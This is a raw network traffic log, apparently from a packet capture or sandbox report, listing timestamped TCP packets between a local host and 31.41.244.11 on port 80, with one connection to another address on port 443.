Dec 12, 2024 14:26:27.269906044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.270726919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.270807028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.270816088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.270848036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.271532059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.271661997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.271964073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.271964073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.272519112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.272599936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.272624016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.272782087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.273289919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.273406982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.273427010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.273472071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.274239063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.274544001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.274595976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.274640083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.275062084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.275197983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.275362015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.275362015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.275974989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.276165009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.276242018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.276242971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.276998043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.277146101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.277206898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.277206898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.277827024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.277913094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.277993917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.278167009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.278618097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.278702021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.278853893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.278853893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.279633999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.279679060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.279712915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.279788017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.280489922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.280565023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.280586958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.280658960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.281300068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.281342030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.281636953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.281676054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.282167912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.282330990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.282365084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.282365084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.283037901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.283123970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.283168077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.283341885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.284173012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.284372091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.284455061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.284538984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.285202026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.285238028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.285250902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.285280943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.285979033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.286011934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.286050081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.286050081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.286638021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.286823034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.286868095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.286868095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.287535906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.287563086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.287683964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.287683964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.287966013 CET	49813	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:27.287982941 CET	443	49813	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:27.288398981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.288516998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.288547039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.288589001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.289254904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.289297104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.289324999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.289474964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.290190935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.290265083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.290292025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.290349007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.291153908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.291307926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.291352034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.291549921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.292144060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.292299986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.292310953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.292488098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.292807102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.292854071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.292891979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.292977095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.293680906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.293740988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.293864965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.293864965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.294876099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.295001984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.295028925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.295063972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.295819044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.295942068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.295978069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.296022892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.296977043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.297030926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.297121048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.297121048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.297763109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.297821045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.297897100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.297897100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.298688889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.298796892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.299045086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.299045086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.299539089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.299639940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.299678087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.299678087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.300256014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.300295115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.300307989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.300487041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.301131964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.301254034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.301286936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.301286936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.302094936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.302134037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.302238941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.302339077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.302773952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.302803993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.302864075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.302926064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.303520918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.303560972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.303741932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.303788900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.304375887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.304481030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.304562092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.304562092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.305360079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.305399895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.305560112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.305560112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.306229115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.306261063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.306320906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.306380987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.307039022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.307091951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.307116985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.307164907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.307992935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.308104992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.308119059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.308176041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.309117079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.309195995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.309218884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.309475899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.309926033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.309942007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.310404062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.310404062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.310676098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.310743093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.310767889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.310779095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.311467886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.311527967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.311569929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.312360048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.312382936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.312462091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.312613964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.312654972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.313313961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.313410997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.459880114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.459974051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.460011959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.460130930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.460566998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.460671902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.460781097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.460781097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.461112976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.461167097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.461183071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.461226940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.461944103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.462001085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.462205887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.462251902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.462322950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.462322950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.462831974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.462887049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.463331938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.463331938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.463582993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.463596106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.463677883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.463677883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.464238882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.464267969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.464417934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.464418888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.464950085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.465023041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.465079069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.465118885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.465663910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.465759993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.465810061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.465810061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.466547966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.466629028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.466670036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.466670036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.467616081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.467653990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.467721939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.467827082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.468584061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.468664885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.468849897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.468849897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.469583035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.469635010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.469670057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.469747066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.470529079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.470556974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.470581055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.470602989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.471199036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.471229076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.471259117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.471259117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.472100973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.472156048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.472193956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.472271919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.472925901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.473014116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.473026037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.473043919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.473844051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.473927021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.473953962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.473953962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.474587917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.474674940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.474746943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.474746943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.475436926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.475528955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.475646019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.475646019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.476346970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.476394892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.476444960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.476485968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.477222919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.477313042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.477339029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.477355957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.478177071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.478194952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.478394985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.478394985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.478971958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.479084015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.479211092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.479211092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.479863882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.479933023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.479959011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.480362892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.480766058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.480853081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.481159925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.481159925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.481688976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.481744051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.481787920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.481820107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.482650995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.482713938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.482784033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.482877970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.483722925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.483783007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.483855009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.483899117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.484627008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.484710932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.484778881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.484778881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.485407114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.485428095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.485466957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.485466957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.486093998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.486172915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.486217976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.486217976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.486953974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.487049103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.487076044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.487092972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.487979889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.488018036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.488018990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.488141060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.488723993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.488792896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.488826036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:27.488986969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:27.489696980 CET	80	49801	31.41.244.11	192.168.2.4
